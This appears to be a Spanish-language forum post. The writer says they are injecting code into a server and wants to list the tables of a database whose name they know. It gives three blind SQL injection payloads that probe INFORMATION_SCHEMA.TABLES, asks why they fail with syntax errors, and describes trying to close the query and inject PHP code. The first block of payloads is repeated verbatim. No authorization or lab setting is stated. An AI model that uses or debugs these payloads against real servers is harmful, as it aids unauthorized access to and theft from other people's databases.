Estoy inyectando codigo en un servidor, pero el problema es que se cual es el nombre de la base de datos, pero necesito hacer un listado de las tablas de esa base de datos. He probado de la siguiente forma:
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='
Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='
Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?
Es mas, estando dicha consulta dentro de un magicsql("..."); si yo introduzco un
' "); echo "loquesea"; <!--
Ese comentario php <!-- deberia hacer que ignorase todo lo que venga detras o includo con un ?>
Pero el caso es que no funciona, y es rarisimo, puesto que si hago un <!-- OR 1=1 y hago que me salte un error de sintaxis de MySQL, muestra todo menos el comentario y lo que viene detras, con lo cual se supone que esta funcionando ese comentario, pero no es asi, porque si cierro la sentencia SQL antes del comentario con "); y hago el echo "loquesea"; me salta un error de sintaxis porque interpreta ese echo como si fuese parte de la consulta SQL ¿?¿?¿?
Ver para creer..